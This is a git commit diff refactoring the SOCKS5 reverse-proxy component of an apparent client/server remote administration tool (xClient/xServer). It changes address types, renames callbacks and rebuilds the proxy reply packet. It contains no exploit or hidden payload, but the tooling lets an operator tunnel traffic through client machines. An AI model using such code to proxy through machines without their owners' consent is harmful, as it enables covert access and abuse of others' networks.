Improved Reverse Proxy

- Replaced use of obsolete property
This commit is contained in:
MaxXor 2015-08-30 15:04:46 +02:00
parent fdc5f91e3b
commit da4d29a016
7 changed files with 46 additions and 52 deletions

View File

@ -698,8 +698,14 @@ namespace xClient.Core.Networking
{
lock (_proxyClientsLock)
{
foreach (ReverseProxyClient proxy in _proxyClients)
proxy.Disconnect();
try
{
foreach (ReverseProxyClient proxy in _proxyClients)
proxy.Disconnect();
}
catch
{
}
}
}

View File

@ -1,4 +1,5 @@
using System;
using System.Net;
using xClient.Core.Networking;
using xClient.Core.Packets;
@ -11,21 +12,17 @@ namespace xClient.Core.ReverseProxy.Packets
public bool IsConnected { get; set; }
public long LocalEndPoint { get; set; }
IPAddress LocalAddress { get; set; }
public int LocalPort { get; set; }
public string HostName { get; set; }
public ReverseProxyConnectResponse()
{
}
public ReverseProxyConnectResponse(int connectionId, bool isConnected, long localEndPoint, int localPort, string TargetServer)
public ReverseProxyConnectResponse(int connectionId, bool isConnected, IPAddress localAddress, int localPort, string targetServer)
{
this.ConnectionId = connectionId;
this.IsConnected = isConnected;
this.LocalEndPoint = localEndPoint;
this.LocalAddress = localAddress;
this.LocalPort = localPort;
this.HostName = "";
@ -34,7 +31,7 @@ namespace xClient.Core.ReverseProxy.Packets
try
{
//resolve the HostName of the Server
System.Net.IPHostEntry entry = System.Net.Dns.GetHostEntry(TargetServer);
System.Net.IPHostEntry entry = System.Net.Dns.GetHostEntry(targetServer);
if (entry != null && !String.IsNullOrEmpty(entry.HostName))
{
HostName = entry.HostName;

View File

@ -43,24 +43,24 @@ namespace xClient.Core.ReverseProxy
try
{
this._buffer = new byte[BUFFER_SIZE];
this.Handle.BeginReceive(_buffer, 0, _buffer.Length, SocketFlags.None, Handle_BeginReceive, null);
this.Handle.BeginReceive(_buffer, 0, _buffer.Length, SocketFlags.None, AsyncReceive, null);
}
catch
{
new ReverseProxyConnectResponse(ConnectionId, false, 0, 0, this.Target).Execute(Client);
new ReverseProxyConnectResponse(ConnectionId, false, null, 0, this.Target).Execute(Client);
Disconnect();
}
IPEndPoint localEndPoint = (IPEndPoint)this.Handle.LocalEndPoint;
new ReverseProxyConnectResponse(ConnectionId, true, localEndPoint.Address.Address, localEndPoint.Port, this.Target).Execute(Client);
new ReverseProxyConnectResponse(ConnectionId, true, localEndPoint.Address, localEndPoint.Port, this.Target).Execute(Client);
}
else
{
new ReverseProxyConnectResponse(ConnectionId, false, 0, 0, this.Target).Execute(Client);
new ReverseProxyConnectResponse(ConnectionId, false, null, 0, this.Target).Execute(Client);
}
}
private void Handle_BeginReceive(IAsyncResult ar)
private void AsyncReceive(IAsyncResult ar)
{
//Receive here data from e.g. a WebServer
@ -86,7 +86,7 @@ namespace xClient.Core.ReverseProxy
try
{
this.Handle.BeginReceive(_buffer, 0, _buffer.Length, SocketFlags.None, Handle_BeginReceive, null);
this.Handle.BeginReceive(_buffer, 0, _buffer.Length, SocketFlags.None, AsyncReceive, null);
}
catch
{

View File

@ -1,4 +1,5 @@
using System;
using System.Net;
using xServer.Core.Networking;
using xServer.Core.Packets;
@ -11,21 +12,17 @@ namespace xServer.Core.ReverseProxy.Packets
public bool IsConnected { get; set; }
public long LocalEndPoint { get; set; }
public IPAddress LocalAddress { get; set; }
public int LocalPort { get; set; }
public string HostName { get; set; }
public ReverseProxyConnectResponse()
{
}
public ReverseProxyConnectResponse(int connectionId, bool isConnected, long localEndPoint, int localPort)
public ReverseProxyConnectResponse(int connectionId, bool isConnected, IPAddress localAddress, int localPort)
{
this.ConnectionId = connectionId;
this.IsConnected = isConnected;
this.LocalEndPoint = localEndPoint;
this.LocalAddress = localAddress;
this.LocalPort = localPort;
}

View File

@ -1,4 +1,5 @@
using System;
using System.Collections.Generic;
using System.IO;
using System.Net.Sockets;
using System.Text;
@ -96,7 +97,7 @@ namespace xServer.Core.ReverseProxy
try
{
socket.BeginReceive(_buffer, 0, _buffer.Length, SocketFlags.None, socket_Receive, null);
socket.BeginReceive(_buffer, 0, _buffer.Length, SocketFlags.None, AsyncReceive, null);
}
catch
{
@ -104,7 +105,7 @@ namespace xServer.Core.ReverseProxy
}
}
private void socket_Receive(IAsyncResult ar)
private void AsyncReceive(IAsyncResult ar)
{
try
{
@ -258,7 +259,7 @@ namespace xServer.Core.ReverseProxy
try
{
Handle.BeginReceive(_buffer, 0, _buffer.Length, SocketFlags.None, socket_Receive, null);
Handle.BeginReceive(_buffer, 0, _buffer.Length, SocketFlags.None, AsyncReceive, null);
}
catch
{
@ -340,7 +341,7 @@ namespace xServer.Core.ReverseProxy
return true;
}
public void CommandResponse(ReverseProxyConnectResponse response)
public void HandleCommandResponse(ReverseProxyConnectResponse response)
{
//a small prevention for calling this method twice, not required... just incase
if (!_receivedConnResponse)
@ -361,19 +362,16 @@ namespace xServer.Core.ReverseProxy
//Thanks to http://www.mentalis.org/soft/projects/proxy/ for the Maths
try
{
SendToClient(new byte[]
{
SOCKS5_VERSION_NUMBER,
SOCKS5_CMD_REPLY_SUCCEEDED,
SOCKS5_RESERVED,
1, //static: it's always 1
(byte) (response.LocalEndPoint%256),
(byte) (Math.Floor((decimal) (response.LocalEndPoint%65536)/256)),
(byte) (Math.Floor((decimal) (response.LocalEndPoint%16777216)/65536)),
(byte) (Math.Floor((decimal) response.LocalEndPoint/16777216)),
(byte) (Math.Floor((decimal) response.LocalPort/256)),
(byte) (response.LocalPort%256)
});
List<byte> responsePacket = new List<byte>();
responsePacket.Add(SOCKS5_VERSION_NUMBER);
responsePacket.Add(SOCKS5_CMD_REPLY_SUCCEEDED);
responsePacket.Add(SOCKS5_RESERVED);
responsePacket.Add(1);
responsePacket.AddRange(response.LocalAddress.GetAddressBytes());
responsePacket.Add((byte)(Math.Floor((decimal)response.LocalPort / 256)));
responsePacket.Add((byte)(response.LocalPort % 256));
SendToClient(responsePacket.ToArray());
}
catch
{
@ -398,7 +396,7 @@ namespace xServer.Core.ReverseProxy
try
{
//start receiving data from the proxy
Handle.BeginReceive(_buffer, 0, _buffer.Length, SocketFlags.None, socket_ReceiveProxy, null);
Handle.BeginReceive(_buffer, 0, _buffer.Length, SocketFlags.None, AsyncReceiveProxy, null);
}
catch
{
@ -430,7 +428,7 @@ namespace xServer.Core.ReverseProxy
}
}
private void socket_ReceiveProxy(IAsyncResult ar)
private void AsyncReceiveProxy(IAsyncResult ar)
{
try
{
@ -463,7 +461,7 @@ namespace xServer.Core.ReverseProxy
try
{
Handle.BeginReceive(_buffer, 0, _buffer.Length, SocketFlags.None, socket_ReceiveProxy, null);
Handle.BeginReceive(_buffer, 0, _buffer.Length, SocketFlags.None, AsyncReceiveProxy, null);
}
catch
{

View File

@ -1,8 +1,4 @@
using System;
using System.CodeDom;
using System.Collections.Generic;
using System.Text;
using xServer.Core.Networking;
using xServer.Core.Networking;
using xServer.Core.Packets;
using xServer.Core.ReverseProxy.Packets;
@ -22,7 +18,7 @@ namespace xServer.Core.ReverseProxy
client.Value.ProxyServer.GetClientByConnectionId(response.ConnectionId);
if (socksClient != null)
{
socksClient.CommandResponse(response);
socksClient.HandleCommandResponse(response);
}
}
}

View File

@ -74,10 +74,10 @@ namespace xServer.Core.ReverseProxy
this._socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
this._socket.Bind(new IPEndPoint(IPAddress.Parse(ipAddress), port));
this._socket.Listen(100);
this._socket.BeginAccept(socket_BeginAccept, null);
this._socket.BeginAccept(AsyncAccept, null);
}
private void socket_BeginAccept(IAsyncResult ar)
private void AsyncAccept(IAsyncResult ar)
{
try
{
@ -93,7 +93,7 @@ namespace xServer.Core.ReverseProxy
try
{
this._socket.BeginAccept(socket_BeginAccept, null);
this._socket.BeginAccept(AsyncAccept, null);
}
catch
{